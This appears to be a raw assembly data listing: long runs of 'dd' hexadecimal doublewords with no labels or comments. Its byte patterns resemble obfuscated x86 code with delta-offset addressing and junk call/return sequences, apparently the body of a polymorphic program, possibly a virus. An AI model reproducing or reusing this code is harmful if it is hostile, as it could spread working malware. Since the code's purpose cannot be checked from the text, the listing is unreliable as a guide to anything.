		dd 0BD78B50h, 317C595h,	0D858D06h, 600605F5h, 26F5B58Bh
		dd 0BD8B0603h, 6032C79h, 6A5061h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 845CAFC3h, 0D124E793h
		dd 2B272987h, 3285195h,	8595FF06h, 6A060312h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0B6FC357h, 38673E8Fh, 11E960D6h, 0A5000000h,	31CA7726h
		dd 9C24848Fh, 4FF5A9F2h, 701C03E3h, 0ACDBD8Bh, 83610603h
		dd 6A0CC4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 668C76C3h, 0E724C981h, 5E9h, 66A36B00h, 6A53FCh
		dd 8068h, 6A036A00h, 68006A00h,	80000000h, 0F50D858Dh
		dd 0FF500605h, 3115595h, 1D858906h, 0C60605FEh,	32F3985h
		dd 87684706h, 0FFC7B15Eh, 31359B5h, 0A7858D06h,	0FF060338h
		dd 0FF006AD0h, 5FE1DB5h, 0B5D0FF06h, 6830F87h, 8B000000h
		dd 30B7D95h, 9D8B6006h,	6032339h, 2C798D89h, 3D610603h
		dd 37D0h, 53830Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 5C8F99C3h, 0B5FFCC64h
		dd 605FE1Dh, 0BE8h, 324E9600h, 2A29D05Dh, 72FCF771h, 87AC5ABFh
		dd 95FF5F35h, 6030AE1h,	17A98D8Bh, 0C1E90603h, 81000000h
		dd 239258F1h, 1DB5FF42h, 0BA0605FEh, 273427CBh,	0AE195FFh
		dd 6A0603h, 11E9h, 2865B900h, 0AB744A3Eh, 0F025605Ch, 0E162EF1Ch
		dd 958B4173h, 6032C81h,	0B589006Ah, 60303A9h, 6ACBB70Fh
		dd 0A2F5B900h, 6A18FEh,	6AFE8Bh, 0C22EA0BFh, 8D006A4Ah
		dd 5FE2185h, 0D08B6606h, 50006A50h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0C9B8DE74h, 7B578847h
		dd 95093562h, 60311A1h,	29E1BD8Bh, 95FF0603h, 6031155h
		dd 172D958Bh, 0F8830603h, 4A850FFFh, 0E8000001h, 11h, 43F15CEAh
		dd 33474AC3h, 46248676h, 541493A3h, 2DBD899Eh, 5906031Eh
		dd 0B9AD858Dh, 80600605h, 890FB9C5h, 6,	318DBD8Bh, 0FF610603h
		dd 0CE9D0h, 4AB20000h, 43A1CD50h, 42AB9233h, 6AB512h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0A2C35141h, 13059908h
		dd 6A0740h, 1D7D8D8Bh, 6A0603h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 0B8C35141h,	0DEE47CCAh, 8B95E868h
		dd 32E45BDh, 29006A06h,	300218Dh, 0E8006A06h, 9, 3A0B7CBFh
		dd 97B82C15h, 0C174B910h, 8B5A1E4Bh, 30CC5BDh, 89006A06h
		dd 3283D95h, 21858D06h,	8B0605FEh, 3227995h, 0B1F78106h
		dd 504178FBh, 8594D181h, 95FF77D4h, 6031155h, 223D8509h
		dd 0F8830603h, 52850FFFh, 0F000000h, 0B58DC8B7h, 605F829h
		dd 0AE860h, 0BFC10000h,	6DAB73E3h, 0BF54C3B5h, 25399589h
		dd 0B0580603h, 858D6103h, 605A3C3h, 2969B589h, 0D0FF0603h
		dd 6ACFBF0Fh, 0F2816600h, 8D8B4B96h, 6031F6Dh, 20F195FFh
		dd 6E90603h, 6F000000h,	0B73E5FB0h, 1D8589BAh, 6A0605FEh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 289EC350h, 5DDBD8Bh, 6A0603h, 1321BD8Bh
		dd 858D0603h, 605FE15h,	25419589h, 8B500603h, 30F8DBDh
		dd 89046A06h, 3010D8Dh,	48D0F06h, 56000000h, 8D59D68Bh
		dd 32F0585h, 58D8906h, 0F06032Ch, 6650CABFh, 35ADA81h
		dd 8589006Ah, 6033065h,	958B006Ah, 6030AC5h, 6AD78B66h
		dd 0B58D2901h, 0FF06032Eh, 5FE1DB5h, 0FE906h, 56D50000h
		dd 1A54A054h, 921D6F94h, 825F24E5h, 0BD8D09A5h,	0FF060322h
		dd 303E195h, 51006A06h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 5D324E96h, 712A29D0h, 45958BF7h
		dd 0E9060326h, 1B22h, 38B0Fh, 8B660000h, 83C08BD0h, 31039BDh
		dd 9750006h, 111DBD83h,	74000603h, 8B535019h, 7D2B8C0h
		dd 85890000h, 6031775h,	0B0919D8Dh, 0D3FF0605h,	0BD83585Bh
		dd 603111Dh, 50177400h,	7D2B853h, 85890000h, 6031775h
		dd 0AD809D8Dh, 0D3FF0605h, 0B70F585Bh, 55006AD7h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 4E94DB36h, 0FE20BF80h, 0D9813B73h, 52743B14h, 0F181C08Bh
		dd 44E2B547h, 9DD18166h, 9185C7E2h, 106031Eh, 53000000h
		dd 38C0Fh, 0ED800000h, 0B86859B0h, 0FFCEE4E7h, 30175B5h
		dd 0A7858D06h, 0FF060338h, 0D8589D0h, 68060306h, 0C005DBD4h
		dd 175B5FFh, 858D0603h,	60338A7h, 8589D0FFh, 6031A4Dh
		dd 0F2C6858Dh, 0FF500605h, 31359B5h, 7595FF06h,	0B060329h
		dd 8B0B74C0h, 79858DD8h, 50060602h, 858DD3FFh, 6060279h
		dd 9388366h, 85C70A75h,	6032831h, 1, 306995FFh,	0FF250603h
		dd 83000000h, 0A7305F8h, 35D85C7h, 10603h, 8F0F0000h, 3
		dd 66C88B66h, 807F40B9h, 5FE88BDh, 850F0006h, 2Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0D0C35747h, 0BBE9B200h
		dd 0E9000019h, 5, 879C075Ch, 31BD830Ah,	60328h,	0B7850Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0E6B0DC3h, 41B95016h, 68B145DAh, 0FE52858Dh
		dd 8D2B0605h, 60312E1h,	0FE12BF50h, 16A747Ch, 40D8D31h
		dd 6A0603h, 2E618D01h, 6A0603h,	95FFB7B5h, 6031D59h, 1EFD8D89h
		dd 85890603h, 605FE7Ch,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0E0C35141h, 53678D6h,	6AE8BA66h, 0FE8FF6Ah
		dd 0AD000000h, 3E8B2167h, 0B09BFACBh, 3DBCD1EBh, 9D29F99Dh
		dd 60322A1h, 7CB5FF5Ah,	90605FEh, 3208585h, 1595FF06h
		dd 89060320h, 30385BDh,	8D858D06h, 0F0605F2h, 8B50D6B7h
		dd 995FFD7h, 0E906031Bh, 8, 69491559h, 0C14D5359h, 0F3178589h
		dd 6A0605h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 4F67DBC3h, 0AF631145h, 0D7DD80CAh, 0F29A858Dh
		dd 6A0605h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 595E95C3h, 9ACE812Ah, 0CE8B50E5h, 0B5FFFA8Bh, 605F317h
		dd 14E8h, 0B78AF200h, 0A7759866h, 0F0E03841h, 3B755481h
		dd 0DFC5A320h, 88ED804Bh, 7595FF59h, 6A060329h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 9AB1C356h, 0F83472FEh, 898B6C26h, 3249595h, 79958B06h
		dd 8906031Bh, 309C985h,	958BFC06h, 603205Dh, 0F308858Dh
		dd 0C6800605h, 816650A8h, 0FF7883E2h, 5F317B5h,	0D8D8906h
		dd 0FF060328h, 3297595h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0A7499BB9h, 8930ED25h
		dd 5F32B85h, 0D1B50906h, 8D06031Bh, 5F2E785h, 358D8906h
		dd 5006031Bh, 0F317B5FFh, 0BD8B0605h, 6032511h,	297595FFh
		dd 85890603h, 6030A95h,	0F3238589h, 81660605h, 8D76B8DFh
		dd 5F2DA85h, 5066B506h,	1E959529h, 0B5FF0603h, 605F317h
		dd 0A54ACA81h, 95FF03D3h, 6032975h, 0D3E78166h,	27858910h
		dd 8B0605F3h, 30C1195h,	0F5858D06h, 0F0605F2h, 8B50D1BFh
		dd 32AB1BDh, 17B5FF06h,	290605F3h, 31BF59Dh, 7595FF06h
		dd 89060329h, 311CDBDh,	0ED858906h, 6A060322h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0DAD2C351h, 0B8600468h, 41E2386Bh, 69BD8B61h, 8D060332h
		dd 5F2A985h, 85958906h,	50060313h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0AFC35141h,	683ED6BEh, 0A8B0F48h
		dd 60000000h, 31D9B589h, 0C38B0603h, 17B5FF61h,	6A0605F3h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 0F8AAC355h, 0D19653CCh, 11C11FA1h, 95FFF5F9h
		dd 6032975h, 1B8589FCh,	6A0605F3h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8DD3C356h
		dd 5F2B885h, 15858906h,	5006030Ch, 14118D8Bh, 0E1810603h
		dd 1C7EA95Eh, 0F317B5FFh, 958B0605h, 6032381h, 297595FFh
		dd 850F0603h, 12h, 0DE9h, 31EB5000h, 0B3BC5FFEh, 86EB1F2Bh
		dd 8589C487h, 605F31Fh,	26F59D89h, 4680603h, 52000001h
		dd 0AF858D5Fh, 0FC0605F3h, 6A50C0B1h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8953C356h
		dd 302B99Dh, 0B3858D06h, 0F50605F4h, 2DBD8589h,	89500603h
		dd 3311995h, 2195FF06h,	0F060326h, 880h, 85895100h, 6031451h
		dd 0FC08559h, 685h, 318D8B00h, 8006031Fh, 5FE88BDh, 850F0006h
		dd 11h,	3269BD31h, 9FE90603h, 89000015h, 325419Dh, 31BD8306h
		dd 60328h, 19850Fh, 810F0000h, 0
		dd 332BD83h, 0F000606h,	6784h, 18D0900h, 8D06030Dh, 5F34C85h
		dd 0AE906h, 2C70000h, 8AA1622Fh, 0C9628704h, 1559E9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 6E849h, 0A7AC0000h, 0EF4114AEh, 0EE8h, 0E5F9E500h, 1DB34E19h
		dd 4B94C68Eh, 80779D1Bh, 5F5F24C2h, 0FE9h, 0C9BF0F00h
		dd 0F337858Dh, 0BD8B0605h, 6030151h, 52006A50h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 950941CFh
		dd 603115Dh, 11E957h, 0B80F0000h, 0B418A160h, 0F4615F19h
		dd 0ED60E2Bh, 591D649Bh, 0F3AF858Dh, 10E90605h,	65000000h
		dd 0C9D66382h, 93D529E5h, 5F95EC66h, 503E2D8Dh,	7CFBA66h
		dd 2831BD83h, 0F000603h, 3F84h,	0D5858D00h, 290605F4h
		dd 329DD8Dh, 4CE906h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 0DE1126C3h, 0B8A9DF33h
		dd 6E9EAh, 5DA70000h, 0C36FDAB3h, 0F4BE858Dh, 0E9500605h
		dd 11h,	0C3479A20h, 5B2D98AEh, 0B14B5A74h, 656A048Fh, 89505F9Bh
		dd 304D585h, 0D858D06h,	6A0605F5h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 4583C350h
		dd 5CC2C981h, 0F506B23h, 8D03CFB7h, 6030349h, 128595FFh
		dd 830F0603h, 6, 9FD8D8Bh, 860F0603h, 0Dh, 0ED858960h
		dd 66060301h, 185AD081h, 10C48361h, 2DEDBD29h, 0C08B0603h
		dd 38B0Fh, 8B660000h, 39BD83CFh, 60310h, 0BD830975h, 603111Dh
		dd 50197400h, 0B8C08B53h, 7D3h,	17758589h, 9D8D0603h, 605B091h
		dd 585BD3FFh, 111DBD83h, 74000603h, 0B8535017h,	7D3h, 17758589h
		dd 9D8D0603h, 605AD80h,	585BD3FFh, 1002D281h, 6A044Eh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 8589BBC3h, 6032CF1h,	870FC08Bh, 13h,	0EE9h, 413F4D00h
		dd 0F1EB9060h, 92E761B0h, 812F7D17h, 5F337BDh, 65726F06h
		dd 86840F61h, 0B1000000h, 0AF858DA6h, 500605F3h, 0F4EC858Dh
		dd 8D500605h, 5F50D85h,	95FF5006h, 6031285h, 0C60CC483h
		dd 32F3985h, 4F684406h,	0FF96A318h, 31359B5h, 0A7858D06h
		dd 0FF060338h, 8DD88BD0h, 5F50D85h, 0D3FF5006h,	0F337858Dh
		dd 8D500605h, 5F3AF85h,	0BD835006h, 6032831h, 8D087400h
		dd 5F4D585h, 8D06EB06h,	5F4BE85h, 858D5006h, 605F50Dh
		dd 8595FF50h, 83060312h, 0BF5210C4h, 445AAA4Eh,	0D7BF0F5Fh
		dd 6995FFFCh, 6A060330h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 17CBC350h, 0FB93D83Ch
		dd 49D10E6Ch, 9E9h, 0FF369200h,	0EE603FA6h, 0FF254696h
		dd 0F000000h, 685h, 2D953300h, 83060301h, 830F05F8h, 33h
		dd 68F0Fh, 95010000h, 6032939h,	35D85C7h, 10603h, 95890000h
		dd 6032285h, 0F36B858Dh, 95890605h, 6032B15h, 5AE9h, 2BC78100h
		dd 832A8777h, 32831BDh,	840F0006h, 23h,	1CC58D8Bh, 858D0603h
		dd 605F396h, 12D58D09h,	8D8B0603h, 6031BF9h, 2AE9h, 25BD8B00h
		dd 8D06032Ch, 5F37885h,	13E806h, 79E70000h, 0F0A31DC6h
		dd 0CCAA8D8Ah, 0C9E4CD65h, 0E1C10FCBh, 0D9816690h, 895FD0A8h
		dd 5F3AB85h, 5DBD8B06h,	83060312h, 32831BDh, 850F0006h
		dd 1Eh,	90C28166h, 32BD8303h, 60603h, 17840Fh, 958B0000h
		dd 6030F0Dh, 289DBD8Bh,	93E90603h, 81000011h, 0DFE853F7h
		dd 44FE902h, 8D290000h,	6030331h, 6AC08Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0A1999CC3h
		dd 830178D7h, 31039BDh,	9750006h, 111DBD83h, 74000603h
		dd 8B535019h, 7D4B8C0h,	85890000h, 6031775h, 0B0919D8Dh
		dd 0D3FF0605h, 0BD83585Bh, 603111Dh, 50177400h,	7D4B853h
		dd 85890000h, 6031775h,	0AD809D8Dh, 0D3FF0605h,	6A585Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 5DDE53C3h, 15B199E4h, 5C01F181h, 7E921F6h, 6A000000h
		dd 3AD7E3C3h, 5EBAFA39h, 8B1A91D8h, 0F6B966C0h,	3F6831h
		dd 9531000Fh, 6030AD9h,	15BA006Ah, 6A6B16B7h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0FE1F18C2h, 8BE4D73Dh, 0FFBADA80h, 309C995h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0CA3677B2h, 339D7F8Ah, 13E8C4h, 0BAC00000h, 846B33AAh
		dd 0ABA67370h, 472E3996h, 0DD9E997h, 3D858946h,	5F060314h
		dd 850FC085h, 4, 1147BF66h, 0F32F8589h,	810F0605h, 0Dh
		dd 39BD8B60h, 0BA06031Ch, 4E7F6F31h, 0E8006A61h, 0Bh, 5E263AA2h
		dd 0E598B664h, 8BB4D0B2h, 3011D8Dh, 6A5A06h, 1C81BD8Bh
		dd 81510603h, 26305DC1h, 6A5A01h, 0E9006AFCh, 0Ch, 16F08B8h
		dd 0C65BA70Fh, 6612ED9Fh, 8B60006Ah, 30AD195h, 959D8906h
		dd 6106030Fh, 26498D8Bh, 858D0603h, 605F50Dh, 20A5BD01h
		dd 6A500603h, 53006A01h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0F1539D5Fh, 3CB9016Ah, 6A2D78F9h
		dd 5E901h, 75220000h, 68A38339h, 0F01FFh, 91B58960h, 0E9060317h
		dd 12h,	0CCBE655Fh, 0BAB54AD9h,	5EA2C24Dh, 9ADFC48h, 83617378h
		dd 32831BDh, 840F0006h,	4Eh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0A4C35747h,	285BC109h, 8E0F4444h
		dd 0
		dd 8C858DFCh, 8B0605F3h, 0C820FCFh, 0F000000h, 68Ch, 0F9952900h
		dd 0E9060310h, 12h, 299958Bh, 858D0603h, 605F362h, 201DBD8Bh
		dd 0E8500603h, 12h, 83AE9C60h, 0D29258AEh, 1AEFE4BBh, 7F1C609Dh
		dd 0B589B87Fh, 6032A95h, 8D8B505Fh, 60324A1h, 0F32FB5FFh
		dd 0BA660605h, 95FF94EEh, 605F31Bh, 38F0Fh, 0B70F0000h
		dd 0FC085D3h, 0E85h, 64E18100h,	0E96AE820h, 50h, 89D68B66h
		dd 5F33385h, 8FBA6606h,	33B5FF39h, 890605F3h, 32BBD95h
		dd 0ED95FF06h, 60060322h, 0DE9h, 32BAF800h, 0CA64B211h
		dd 0DD788360h, 0AE9767Fh, 0C5000000h, 7B4A7FC1h, 74E1FD97h
		dd 0C0856198h, 6850Fh, 8D8B0000h, 6032D81h, 92B5106Ah
		dd 2831BD83h, 0F000603h, 1A84h,	0BD8B5700h, 60303ADh, 8C858D5Fh
		dd 0F50605F3h, 15E9h, 7D8D8B00h, 8D060310h, 5F36285h, 0B58D8906h
		dd 0F06031Bh, 6A50CFB7h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0F1EC355h, 58Dh, 0B34AB900h
		dd 81660574h, 0FF5349C2h, 5F32FB5h, 0F58D0B06h,	0FF060312h
		dd 5F32795h, 0CCD28106h, 8529BCB0h, 13850FC0h, 8B000000h
		dd 30F31BDh, 0BD8B6006h, 6031BD9h, 54C38166h, 858961BBh
		dd 605F333h, 2E5DBD8Bh,	6A0603h, 345BD0Bh, 6A0603h, 0B850Fh
		dd 800F0000h, 5, 0C4FE68BFh, 33B5FF44h,	0F80605F3h, 0F31F95FFh
		dd 860F0605h, 6, 224D8D03h, 0C0850603h,	3850Fh,	8B660000h
		dd 33B5FFFAh, 10605F3h,	305A5BDh, 5E906h, 0F7080000h, 0FFC168BDh
		dd 322ED95h, 51006A06h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 27B00790h, 34F1A7E5h, 0FC08571h
		dd 485h, 5FBF6600h, 81006ACFh, 0C76B17D2h, 80683Fh, 0BD090000h
		dd 6030361h, 6A036Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0A7380EC3h, 518D09AAh, 6A060328h
		dd 10E900h, 73340000h, 33C872AAh, 47FD3581h, 0B686683Ch
		dd 6A7D9Ah, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 18h,	7CC35747h, 0C7BE2E7Eh, 11E8EB8Ah, 1F000000h, 8D00B162h
		dd 9669DC38h, 0F4B9FD9Fh, 897A56E3h, 30458D0Bh,	605F0603h
		dd 11E98D0Bh, 0B3B20603h, 6861h, 0DE9C000h, 0FE000000h
		dd 0AF7E5FF0h, 5BFF01BFh, 743141FEh, 0AE9h, 8B2D4800h
		dd 7350B09Ah, 0FF345F86h, 5F3ABB5h, 95FFF806h, 6031155h
		dd 2059529h, 0F8830603h, 96850FFFh, 3000005h, 30459BDh
		dd 1985FF06h, 310605FEh, 321B985h, 19BD8306h, 20605FEh
		dd 4A3840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 90BA66C3h, 4A2F3AE5h, 0F38D80Bh
		dd 48Ch, 0C0B96600h, 9F858DADh,	89005AF5h, 3304D8Dh, 0B18D8B06h
		dd 0FF060302h, 858DF8D0h, 5AEFF2h, 559D2B60h, 0B1060331h
		dd 0D0FF61D2h, 8BFB8B66h, 50006AC0h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0BD83FCF4h
		dd 6031039h, 83097500h,	3111DBDh, 19740006h, 0C08B5350h
		dd 7D8B8h, 75858900h, 8D060317h, 5B0919Dh, 5BD3FF06h, 1DBD8358h
		dd 60311h, 53501774h, 7D8B8h, 75858900h, 8D060317h, 5AD809Dh
		dd 5BD3FF06h, 8529F858h, 6030ADDh, 9531C08Bh, 6030395h
		dd 23018589h, 3F680603h, 89000F00h, 31E8D85h, 14E806h
		dd 0D0660000h, 0F5FC7D8h, 0C5ACAF15h, 3D6D0382h, 0E824A004h
		dd 8166A571h, 5F7714E9h, 8B66006Ah, 6A006AF9h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0BF84C357h, 6000DE4Ch, 0CE9h, 0F0232B00h, 2AAC7E0Ah
		dd 6F853206h, 0E99D8904h, 61060310h, 9C995FFh, 89600603h
		dd 32A59B5h, 5E906h, 875C0000h,	615F134Ah, 0F60C085h, 1382h
		dd 0EE900h, 97B50000h, 0DBCF5F87h, 875E5B1Fh, 74CF122Ch
		dd 1CAD8D8Bh, 89610603h, 5F32F85h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 80E9FC24h
		dd 12CF81E4h, 6879AC27h, 0F01FFh, 83D6BF0Fh, 32831BDh
		dd 840F0006h, 4Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 48C35343h, 63C18147h,	8B2019DFh, 7D9D89D3h
		dd 8D060311h, 5F38C85h,	0EE906h, 8E750000h, 460114EEh
		dd 0BC62C0A6h, 1478D424h, 31E9h, 2D958900h, 8D060325h
		dd 5F36285h, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 0B7177C4Bh, 25D99529h, 8B500603h
		dd 310F18Dh, 2FB5FF06h,	6A0605F3h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0EA2C350h
		dd 13164EFh, 0FDBA6679h, 2795FFB3h, 6A0605F3h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0C73AC357h, 768E0D11h, 0F3338589h, 85C70605h, 60330CDh
		dd 0
		dd 89D280FCh, 0F333BD83h, 0F000605h, 1C884h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0A86EF82Ch, 0DD006133h, 506013B7h, 2939B58Bh, 895E0603h
		dd 321A19Dh, 858D6106h,	605F611h, 0F75C180h, 68Eh, 14E78100h
		dd 500CBBE1h, 0CF98529h, 16A0603h, 21D8531h, 0E9810603h
		dd 9CE9B9Ch, 0F333B5FFh, 6A0605h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 50145C3h, 6D439BCBh
		dd 0E9143D7Dh, 0Eh, 0E642772Eh,	9CAA3D23h, 0DADCF3D8h
		dd 95FF33D2h, 605F32Bh,	9558D2Bh, 0B5FF0603h, 605F333h
		dd 11E0B966h, 0FF12CE80h, 322ED95h, 6870F06h, 81000000h
		dd 5C1348CAh, 1FF6838h,	958B000Fh, 603288Dh, 2831BD83h
		dd 0F000603h, 3D84h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0E9C8E845h, 188692A4h
		dd 0E5958B63h, 8D06031Ah, 5F38C85h, 98D28006h, 16E9h, 0B009B900h
		dd 858D0826h, 605F362h,	0F8B70F60h, 2AD8589h, 50610603h
		dd 0D9C98166h, 2FB5FF73h, 8B0605F3h, 99B531CFh,	0FF06031Fh
		dd 5F32795h, 14E806h, 6FF90000h, 88826828h, 6E2EEE88h
		dd 928774C6h, 1AB67F7h,	66608833h, 0C7F7C381h, 2E718523h
		dd 5F610603h, 0F3338589h, 0FFFC0605h, 5F333B5h,	0DE906h
		dd 0E6870000h, 0D7450D1Eh, 9649183Ch, 0FF1CAEBFh, 5F32395h
		dd 0F9B70F06h, 0B5FF1EB1h, 605F333h, 11E8h, 7FDC0600h
		dd 0B089833Fh, 18B6269h, 66FADC13h, 0BD09B0E5h,	6032BFDh
		dd 0ED95FF5Fh, 89060322h, 30B85B5h, 0F63AE906h,	6AFFFFh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 89F441C3h, 326DD85h,	7CB5FF06h, 0E90605FEh, 7, 756E6F8Fh
		dd 0FF26501Dh, 3269195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 2840FE1h, 53000000h, 71858B59h
		dd 0BA060328h, 52C1474h, 14E9h,	0BE18FB00h, 3AAA6B09h
		dd 39A0CF9Eh, 1085AD40h, 4FDA1357h, 563E97Eh, 8D8B0000h
		dd 6031961h, 0F631B58Dh, 0BF660605h, 858D1317h,	605A3C3h
		dd 0CE9h, 0E0583C00h, 0F2B5F2D0h, 6B2147A8h, 29D0FFC2h
		dd 31E399Dh, 8B006A06h,	3177D95h, 0EDBD0B06h, 0FF060326h
		dd 320F195h, 8BFE8B06h,	93D181F3h, 8D37DC39h, 5A3C385h
		dd 45BD8B06h, 0FF06032Fh, 6AFB8BD0h, 0F9BD8900h, 0FF06030Bh
		dd 320F195h, 8B68B606h,	8BC08BD1h, 39BD83D3h, 60310h, 0BD830975h
		dd 603111Dh, 50197400h,	0B8C08B53h, 7D9h, 17758589h, 9D8D0603h
		dd 605B091h, 585BD3FFh,	111DBD83h, 74000603h, 0B8535017h
		dd 7D9h, 17758589h, 9D8D0603h, 605AD80h, 585BD3FFh, 6ACE8Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0E0D863C3h, 31BD2960h, 0F8060330h, 8BF38A61h, 0D58D01C0h
		dd 50060331h, 31A5BD8Bh, 7E80603h, 0F9000000h, 0CCBD3324h
		dd 13E885E6h, 4B000000h, 3DB36E85h, 6F605BAh, 9622F376h
		dd 0BA55D1E2h, 0B5893FEDh, 6031385h, 0D88B5F5Ah, 0BFD8529h
		dd 8D530603h, 30B899Dh,	89038B06h, 50438B03h, 8D504389h
		dd 5FE159Dh, 89038B06h,	0F605B03h, 8960D9B7h, 32AD58Dh
		dd 2D858906h, 61060304h, 0F9958B61h, 6A060329h,	57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0C28166FBh, 1877FE67h, 1FA5BD8Bh, 858D0603h,	605FE15h
		dd 80C8CCBAh, 8B66504Bh, 9606AF8h, 330858Dh, 89858D06h
		dd 6A06030Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0F53C355h, 89h, 198D8900h, 50060306h
		dd 33DA8160h, 9668DB5h,	32C11B5h, 6A6106h, 8E9h, 0CEAB7E00h
		dd 620A9C9Ch, 66006A6Eh, 6816ACBFh, 1800h, 0F53F98Bh, 689h
		dd 358D0900h, 0E9060309h, 0Ah, 35DDDED3h, 0A28D7261h, 95FF1B6Fh
		dd 60303E1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	0F7C35040h, 68B0F57h, 31000000h, 331A5B5h, 95FF5A06h
		dd 6030AE1h, 0FF5FF851h, 5FE7CB5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0FD5BD465h
		dd 0C621681Dh, 8166D6F5h, 0E9FBBCDAh, 0Eh, 0E25B53FFh
		dd 0D0883A64h, 0A3D108EAh, 95FF6884h, 6032691h,	7A20EA81h
		dd 95036390h, 6032A4Dh,	0B89858Dh, 6A0603h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 1CBFD4C3h
		dd 0F7CA0ACh, 408BCFB7h, 0CE918h, 0A40D0000h, 74AD8936h
		dd 5D6A0C24h, 85C7B298h, 6031071h, 0
		dd 3FF3BA66h, 2831BD83h, 0F000603h, 2284h, 99952B00h, 3D060305h
		dd 8Ch,	15A830Fh, 81660000h, 0E90F8EDAh, 2Eh, 2D1FBF52h
		dd 3D5F67BFh, 96h, 13E830Fh, 958B0000h,	6030211h, 11E9h
		dd 1F9CFF00h, 0A7D8B012h, 0F6B21B0Ah, 0BC3BA195h, 858DFECFh
		dd 5AF59Fh, 9FDB531h, 0D0FF0603h, 0F2858DF9h, 0F005AEFh
		dd 584h, 0C2F7B900h, 0D0FF2ECAh, 2ED19529h, 0C08B0603h
		dd 7E9h, 2295D100h, 911B7F18h, 1039BD83h, 75000603h, 1DBD8309h
		dd 60311h, 53501974h, 0C6B8C08Bh, 8900000Bh, 3177585h
		dd 919D8D06h, 0FF0605B0h, 83585BD3h, 3111DBDh, 17740006h
		dd 0C6B85350h, 8900000Bh, 3177585h, 809D8D06h, 0FF0605ADh
